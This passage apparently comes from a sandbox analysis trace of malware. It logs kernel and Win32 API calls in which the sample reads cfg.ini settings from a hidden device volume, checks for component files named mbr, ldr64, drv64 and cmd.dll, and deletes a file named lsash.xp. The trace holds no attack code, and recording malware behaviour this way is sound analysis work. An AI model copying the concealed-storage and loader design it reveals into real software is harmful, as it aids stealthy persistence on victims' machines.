AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.010] IdePortDispatch () returned 0x103 [0126.010] KeWaitForMutexObject () returned 0x0 [0126.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.010] IdePortDispatch () returned 0x103 [0126.011] KeWaitForMutexObject () returned 0x0 [0126.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.011] KeLeaveCriticalRegion () [0126.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.011] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.011] KeEnterCriticalRegion () [0126.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.011] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.011] KeLeaveCriticalRegion () [0126.011] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.011] KeEnterCriticalRegion () [0126.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.011] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.011] KeLeaveCriticalRegion () [0126.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.011] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.011] KeEnterCriticalRegion () [0126.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.012] ExFreePoolWithTag (P=0xfffffa8003ac8e10, Tag=0x0) [0126.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.012] KeLeaveCriticalRegion () [0126.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.012] ReleaseMutex (hMutex=0xf0) returned 1 [0126.012] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.012] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.012] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.012] KeEnterCriticalRegion () [0126.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.012] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.012] IdePortDispatch () returned 0x103 [0126.012] KeWaitForMutexObject () returned 0x0 [0126.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.012] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.012] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.012] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.012] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800cecb230 [0126.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.012] KeLeaveCriticalRegion () [0126.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.012] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.012] KeEnterCriticalRegion () [0126.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.012] KeLeaveCriticalRegion () [0126.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.012] KeEnterCriticalRegion () [0126.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.013] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.013] IdePortDispatch () returned 0x103 [0126.013] KeWaitForMutexObject () returned 0x0 [0126.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.013] KeLeaveCriticalRegion () [0126.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.013] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.013] KeEnterCriticalRegion () [0126.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.013] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d89000 [0126.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.013] IdePortDispatch () returned 0x103 [0126.013] KeWaitForMutexObject () returned 0x0 [0126.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.013] IdePortDispatch () returned 0x103 [0126.013] KeWaitForMutexObject () returned 0x0 [0126.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.014] KeLeaveCriticalRegion () [0126.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.014] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.014] KeEnterCriticalRegion () [0126.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.014] KeLeaveCriticalRegion () [0126.014] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.014] KeEnterCriticalRegion () [0126.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.014] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.014] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.014] KeLeaveCriticalRegion () [0126.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.014] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.014] KeEnterCriticalRegion () [0126.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.014] ExFreePoolWithTag (P=0xfffffa800cecb230, Tag=0x0) [0126.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.014] KeLeaveCriticalRegion () [0126.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.015] ReleaseMutex (hMutex=0xf0) returned 1 [0126.015] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.015] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.015] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.015] KeEnterCriticalRegion () [0126.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.015] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.015] IdePortDispatch () returned 0x103 [0126.015] KeWaitForMutexObject () returned 0x0 [0126.017] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.017] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.017] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.017] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.017] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.017] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8006f16d90 [0126.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.017] KeLeaveCriticalRegion () [0126.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.017] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.017] KeEnterCriticalRegion () [0126.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.017] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.017] KeLeaveCriticalRegion () [0126.017] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.017] KeEnterCriticalRegion () [0126.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.017] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.017] IdePortDispatch () returned 0x103 [0126.017] KeWaitForMutexObject () returned 0x0 [0126.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.018] KeLeaveCriticalRegion () [0126.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.018] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.018] KeEnterCriticalRegion () [0126.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dba000 [0126.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.018] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.018] IdePortDispatch () returned 0x103 [0126.018] KeWaitForMutexObject () returned 0x0 [0126.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.018] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.018] IdePortDispatch () returned 0x103 [0126.018] KeWaitForMutexObject () returned 0x0 [0126.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.018] KeLeaveCriticalRegion () [0126.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.019] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.019] KeEnterCriticalRegion () [0126.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.019] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.019] KeLeaveCriticalRegion () [0126.019] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.019] KeEnterCriticalRegion () [0126.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.019] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.019] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.019] KeLeaveCriticalRegion () [0126.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.019] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.019] KeEnterCriticalRegion () [0126.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.019] ExFreePoolWithTag (P=0xfffffa8006f16d90, Tag=0x0) [0126.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.019] KeLeaveCriticalRegion () [0126.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.019] ReleaseMutex (hMutex=0xf0) returned 1 [0126.019] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.019] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.019] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.019] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.019] KeEnterCriticalRegion () [0126.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.020] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.020] IdePortDispatch () returned 0x103 [0126.020] KeWaitForMutexObject () returned 0x0 [0126.020] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.020] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.020] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.020] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.020] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.020] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.020] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.020] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.020] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.020] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.020] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.020] KeLeaveCriticalRegion () [0126.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.020] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.020] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.020] KeEnterCriticalRegion () [0126.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.020] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.020] IdePortDispatch () returned 0x103 [0126.020] KeWaitForMutexObject () returned 0x0 [0126.021] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.021] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.021] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.021] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.021] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.021] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.021] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.021] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.021] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.021] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.021] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.021] KeLeaveCriticalRegion () [0126.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.021] ReleaseMutex (hMutex=0x100) returned 1 [0126.021] Sleep (dwMilliseconds=0x2bf20) [0126.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e511c70, dwHighDateTime=0x1d24fa4)) [0126.027] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.027] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.027] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.027] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.027] KeEnterCriticalRegion () [0126.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.028] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.028] IdePortDispatch () returned 0x103 [0126.028] KeWaitForMutexObject () returned 0x0 [0126.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.028] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.028] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.028] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: 